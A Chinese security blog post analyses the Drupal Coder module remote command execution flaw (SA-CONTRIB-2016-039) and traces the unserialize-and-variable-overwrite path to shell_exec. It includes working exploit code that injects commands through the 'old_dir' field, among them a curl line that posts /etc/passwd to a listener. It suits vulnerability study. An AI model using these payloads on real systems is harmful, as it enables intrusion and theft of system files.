Drupal Coder 模块远程命令执行分析(SA-CONTRIB-2016-039)
转载请注明文章出处:http://www.cnblogs.com/magic-zero/p/5787181.html
起初看到这个漏洞的时候是在exploit-db上边。地址在这里:https://www.exploit-db.com/exploits/40144/
后来在网上搜索了一下,发现几篇不错的分析。比如这个:http://seclab.dbappsecurity.com.cn/?p=1267
分析写的不错,想研究或者复现这个漏洞的不妨参考一下。当然也可以参考一下我的这篇文章。
从exploit-db的漏洞详情中,我们可以看到这个poc:
<?php
# Drupal module Coder Remote Code Execution (SA-CONTRIB-2016-039)
# https://www.drupal.org/node/2765575
# by Raz0r (http://raz0r.name) $cmd = "curl -XPOST http://localhost:4444 -d @/etc/passwd";
$host = "http://localhost:81/drupal-7.12/"; $a = array(
"upgrades" => array(
"coder_upgrade" => array(
"module" => "color",
"files" => array("color.module")
)
),
"extensions" => array("module"),
"items" => array (array("old_dir"=>"test; $cmd;", "new_dir"=>"test")),
"paths" => array(
"modules_base" => "../../../",
"files_base" => "../../../../sites/default/files"
)
);
$payload = serialize($a);
file_get_contents($host . "/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php?file=data://text/plain;base64," . base64_encode($payload));
?>
然后在本地测试的时候发现并不能复现。所以决定下载代码重新分析。然后在网上找到了那篇文章。还是挺不错的。帮助理清了思路。
我们来分析:
0x00 我们首先定位漏洞的位置搞清楚执行流程
全局搜索,定位到了两处。其中的一处有我做测试时候的输出。
我们跟进去,
继续往上找。
在coder_upgrade_start函数的定义中使用了这个,继续跟进。
到了这个地方,我们大致搞清楚了流程。coder_upgrade.run.php中的items变量 --> main.inc 中的coder_upgrade_start() --> main.inc 中的 coder_upgrade_make_patch_file() --> shell_exec()执行。
所以,接着我们来尝试构造exp。
0x01 构造利用的exp
在coder_upgrade.run.php中,我们看到
set_error_handler("error_handler");
set_exception_handler("exception_handler");
这样遇到warning就会退出,会给后边的构造带来很多的麻烦。另外这里还有一个判断。
我们本地测试就不去修改这个配置了。先注释掉这个判断。
<?php
/**
* @file
* Invokes the Coder Upgrade conversion routines as a separate process.
*
* Using this script:
* - helps to minimize the memory usage by the web interface process
* - helps to avoid hitting memory and processing time limits by the PHP process
* - enables a batch processing workflow
*
* Parameters to this script:
* @param string $path
* Path to a file containing runtime parameters
*
* The parameters should be stored as the serialized value of an associative
* array with the following keys:
* - paths: paths to files and modules
* - theme_cache: path to core theme information cache
* - variables: variables used by coder_upgrade
* - upgrades: array to be passed to coder_upgrade_start()
* - extensions: ditto
* - items: ditto
*
* @see coder_upgrade_conversions_prepare()
* @see coder_upgrade_parameters_save()
* @see coder_upgrade_start()
*
* To execute this script, save the following shell script to a file and execute
* the shell script from the root directory of your Drupal installation. If you
* have changed the default coder_upgrade output directory name, then modify
* this script accordingly.
*
* #!/bin/sh
*
* MODULES_DIRECTORY=[fill this in, e.g. all or mysite]
* FILES_DIRECTORY=[fill this in, e.g. default or mysite]
* CODER_UPGRADE_DIRECTORY=coder_upgrade [unless you changed it]
* SCRIPT=sites/$MODULES_DIRECTORY/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php
* RUNTIME=sites/$FILES_DIRECTORY/files/$CODER_UPGRADE_DIRECTORY/runtime.txt
* OUTPUT=sites/$FILES_DIRECTORY/files/$CODER_UPGRADE_DIRECTORY/coder_upgrade.run.txt
*
* php $SCRIPT -- file=$RUNTIME > $OUTPUT 2>&1
*
* Alternatively, replace the bracketed items in the following command and
* execute it from the root directory of your Drupal installation.
*
* php sites/[modules_directory]/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php \
* -- file=sites/[files_directory]/files/coder_upgrade/runtime.txt \
* > sites/[files_directory]/files/coder_upgrade/coder_upgrade.run.txt 2>&1
*
* Copyright 2009-11 by Jim Berry ("solotandem", http://drupal.org/user/240748)
*/ // if (!script_is_cli()) {
// // Without proper web server configuration, this script can be invoked from a
// // browser and is vulnerable to misuse.
// return;
// } // Save memory usage for printing later (when code is loaded).
$usage = array();
save_memory_usage('start', $usage); /**
* Root directory of Drupal installation.
*/
define('DRUPAL_ROOT', getcwd()); ini_set('display_errors', 1);
ini_set('memory_limit', '128M');
ini_set('max_execution_time', 180);
set_error_handler("error_handler");
set_exception_handler("exception_handler"); // Read command line arguments.
$path = extract_arguments(); //获取到file参数的值
if (is_null($path)) {
echo 'No path to parameter file';
return 2;
} // Load runtime parameters.
$parameters = unserialize(file_get_contents($path)); // Extract individual array items by key.
foreach ($parameters as $key => $variable) {
$$key = $variable; //变量覆盖,也是问题发生的关键地方
}
save_memory_usage('load runtime parameters', $usage); // Set global variables (whose names do not align with extracted parameters).
$_coder_upgrade_variables = $variables;
$_coder_upgrade_files_base = $paths['files_base'];
$_coder_upgrade_libraries_base = $paths['libraries_base'];
$_coder_upgrade_modules_base = $paths['modules_base']; //以上的赋值需要构造,否则直接退出。 // Load core theme cache.
$_coder_upgrade_theme_registry = array();
if (is_file($theme_cache)) {
$_coder_upgrade_theme_registry = unserialize(file_get_contents($theme_cache));
}
save_memory_usage('load core theme cache', $usage); // Load coder_upgrade bootstrap code.
$path = $_coder_upgrade_modules_base . '/coder/coder_upgrade';
$files = array(
'coder_upgrade.inc',
'includes/main.inc',
'includes/utility.inc',
); foreach ($files as $file) {
require_once DRUPAL_ROOT . '/' . $path . "/$file";
} //循环去包含文件,其中的main.inc会触发漏洞 coder_upgrade_path_clear('memory');
print_memory_usage($usage); // $trace_base = DRUPAL_ROOT . '/' . $_coder_upgrade_files_base . '/coder_upgrade/coder_upgrade_';
// $trace_file = $trace_base . '1.trace';
// xdebug_start_trace($trace_file);
coder_upgrade_memory_print('load coder_upgrade bootstrap code');
// xdebug_stop_trace(); echo "upgrades"."<br>";
var_dump($upgrades); echo "extensions"."<br>";
var_dump($extensions); echo "items"."<br>";
var_dump($items); //调试输出的信息,原来的文件并没有 // Apply conversion functions.
$success = coder_upgrade_start($upgrades, $extensions, $items); //关键性的items变量带入 // $trace_file = $trace_base . '2.trace';
// xdebug_start_trace($trace_file);
coder_upgrade_memory_print('finish');
// xdebug_stop_trace(); return $success ? 0 : 1; /**
* Returns command line arguments.
*
* @return mixed
* String or array of command line arguments.
*/
function extract_arguments() {
switch (php_sapi_name()) {
case 'apache':
case 'apache2handler': // This is the value when running curl.
if (!isset($_GET['file'])) {
echo 'file parameter is not set';
return;
}
$filename = $_GET['file'];
$action = isset($_GET['action']) ? $_GET['action'] : '';
break; case 'cli':
$skip_args = 2;
if ($_SERVER['argc'] == 2) {
$skip_args = 1;
}
elseif ($_SERVER['argc'] < 2) {
echo 'CLI-1: file parameter is not set' . "\n";
return;
}
foreach ($_SERVER['argv'] as $index => $arg) {
// First two arguments are usually script filename and '--'.
// Sometimes the '--' is omitted.
if ($index < $skip_args) continue;
list($key, $value) = explode('=', $arg);
$arguments[$key] = $value;
}
if (!isset($arguments['file'])) {
echo 'CLI-2: file parameter is not set' . "\n";
return;
}
$filename = $arguments['file'];
$action = isset($arguments['action']) ? $arguments['action'] : '';
break;
}
return $filename;
} /**
* Saves memory usage for printing later.
*
* @param string $step
* A string describing the code step when the memory usage is gathered.
*
* @return mixed
* String or array of command line arguments.
*/
function save_memory_usage($step, &$usage) {
$usage[] = $step;
$usage[] = 'Peak: ' . number_format(memory_get_peak_usage(TRUE), 0, '.', ',') . ' bytes';
$usage[] = 'Curr: ' . number_format(memory_get_usage(TRUE), 0, '.', ',') . ' bytes';
$usage[] = '';
$usage[] = '';
} function print_memory_usage($usage) {
$text = 'Missing memory usage information';
if (is_array($usage)) {
$text = implode("\n", $usage);
}
coder_upgrade_path_print(coder_upgrade_path('memory'), $text);
} function exception_handler($e) {
try {
// ... normal exception stuff goes here
}
catch (Exception $e) {
print get_class($e) . " thrown within the exception handler. Message: " . $e->getMessage() . " on line " . $e->getLine();
}
} function error_handler($code, $message, $file, $line) {
if (0 == error_reporting()) {
return;
}
throw new ErrorException($message, 0, $code, $file, $line);
} /**
* Returns boolean indicating whether script is being run from the command line.
*
* @see drupal_is_cli()
*/
function script_is_cli() {
return (!isset($_SERVER['SERVER_SOFTWARE']) && (php_sapi_name() == 'cli' || (is_numeric($_SERVER['argc']) && $_SERVER['argc'] > 0)));
}
对比原先的exp,我们加上两个变量:
"variables" => 1,
"theme_cache" => 1,
最终的利用代码参考:
<?php $host = "http://192.168.30.134/test/coder/"; $a = array(
"upgrades" => array(
"coder_upgrade" => array(
"module" => "coder",
"files" => array("coder.module")
)
),
"variables" => 1,
"theme_cache" => 1,
"extensions" => array("module"),
"items" => array (array("old_dir"=>"test;ipconfig;", "new_dir"=>"test;ipconfig;", "name"=>1)),
"paths" => array(
"modules_base" => "../../..",
"files_base" => "../..",
"libraries_base" => 1
)
);
$payload = serialize($a);
echo file_get_contents($host . "coder_upgrade/scripts/coder_upgrade.run.php?file=data://text/plain;base64," . base64_encode($payload)); ?>
运行的结果会在当前的目录下生成一个文件夹:
原因是因为这个:
这里其实还有一个坑,是windows下测试的时候。用管道符"||"去拼接代码,进行执行的时候是有问题的。命令拼接虽然可以,但是由于创建文件早了一步,会因为无法创建而退出。关于这个暂时没有找到好的解决方案。如果有好的解决思路,请留言。
刚开始学习审计,多有不足之处,还请指出。
Drupal Coder 模块远程命令执行分析(SA-CONTRIB-2016-039)的更多相关文章
- Drupal 远程命令执行漏洞(CVE-2018-7600)
名称: Drupal 远程命令执行漏洞 CVE-ID: CVE-2018-7600 Poc: https://paper.seebug.org/578/ EXPLOIT-DB: https://www ...
- ThinkPHP 5.x远程命令执行漏洞分析与复现
0x00 前言 ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞.该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的 ...
- ThinkPHP 5.0远程命令执行漏洞分析与复现
0x00 前言 ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞.该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的 ...
- 泛微OA E-cology(CNVD-2019-32204)远程命令执行漏洞复现分析
漏洞复现 影响版本: E-cology 7.0 E-cology 8.0 E-cology 8.1 E-cology 9.0 直接在网站根目录后加入组件访问路径 /weaver/bsh.servl ...
- 22.ThinkPHP5框架缺陷导致远程命令执行
前言: 昨天爆出了ThinkPHP5框架缺陷导致远程命令执行,大佬们都赶上潮流挖洞,小白还是默默学习一下这个漏洞 漏洞影响范围: Thinkphp 5.1.0 - 5.1.31 Thinkphp 5. ...
- Supervisord远程命令执行漏洞(CVE-2017-11610)复现
Supervisord远程命令执行漏洞(CVE-2017-11610)复现 文章首发在安全客 https://www.anquanke.com/post/id/225451 写在前面 因为工作中遇到了 ...
- "Java 反序列化"过程远程命令执行漏洞
一.漏洞描述 国外 FoxGlove 安全研究团队于2015年11月06日在其博客上公开了一篇关于常见 Java 应用如何利用反序列化操作进行远程命令执行的文章.原博文所提到的 Java 应用都使 ...
- SSD报告 - QRadar远程命令执行
SSD报告 - QRadar远程命令执行 漏洞摘要 QRadar中的多个漏洞允许远程未经身份验证的攻击者使产品执行任意命令.每个漏洞本身并不像链接那么强大 - 这允许用户从未经身份验证的访问更改为经过 ...
- URI Scheme注册伪协议实现远程命令执行
Windows配置注册表注册伪协议 1.新建伪协议项 WIN+R 输入regedit 打开注册表,在注册表HKEY_CLASSES_ROOT键中新建一个项,项的名字就是你伪协议的名字,例如我注册一个c ...
随机推荐
- Spring Boot☞ 配置文件详解:自定义属性、随机数、多环境配置等
自定义属性与加载 我们在使用Spring Boot的时候,通常也需要定义一些自己使用的属性,我们可以如下方式直接定义: application-dev.yml com.didispace.blog: ...
- Web实践—Rec 1
累计完成任务情况: 阶段内容 参与人 开会学习作业要求,取得共识 全体 注: 1."阶段内容"划斜线表示完成.2.采用倒序. 具体情况: 正式开展实践作业之前的说明: 按照之前达成 ...
- KNN算法python实现
1 KNN 算法 knn,k-NearestNeighbor,即寻找与点最近的k个点. 2 KNN numpy实现 效果: k=1 k=2 3 numpy 广播,聚合操作. 这里求距离函数,求某点和集 ...
- [GO]方法值和方法表达式
package main import "fmt" type Person struct { name string sex byte age int } func (p Pers ...
- UVa 11090 Going in Cycle!! (Bellman_Ford)
题意:给定一个加权有向图,求平均权值最小的回路. 析:先十分答案,假设答案是 ans,那么有这么一个回路,w1+w2+w3+...+wk < k*ans,这样就是答案太大,然后移项可得,(w1- ...
- MyBatis和Hibernate相比较
作者:乌拉拉链接:http://www.zhihu.com/question/21104468/answer/58579295 1.开发对比开发速度 Hibernate的真正掌握要比Mybatis来得 ...
- VC++中GDI和GDI+ 的坐标系统介绍
在Windows应用程序中,只要进行绘图,就要使用GDI坐标系统.Windows提供了几种映射方式,每一种映射都对应着一种坐标系.例如,绘制图形时,必须给出图形各个点在客户区的位置,其位置用x 和y两 ...
- delphi android 录像
delphi xe系列自带的控件都无法保存录像,经网友帮忙,昨天终于实现了录像功能(但有个问题是录像时无画面显示),程序主要使用了JMediaRecorder,MediaRecorder的使用方法可参 ...
- Rabbimq必备基础之对高级消息队列协议AMQP分析及Rabbitmq本质介绍
MQ的一个产品... [消息队列] 1. MSMQ windows自带的一个服务... [petshop],message存放在文件系统中. 最原始的消息队列... [集群,消息确认,内存化,高可用, ...
- 20145233《网络对抗》Exp5 MSF基础应用
20145233<网络对抗>Exp5 MSF基础应用 实验问题思考 什么是exploit,payload,encode exploit是发现了的可以利用的安全漏洞或者配置弱点,这类模块存储 ...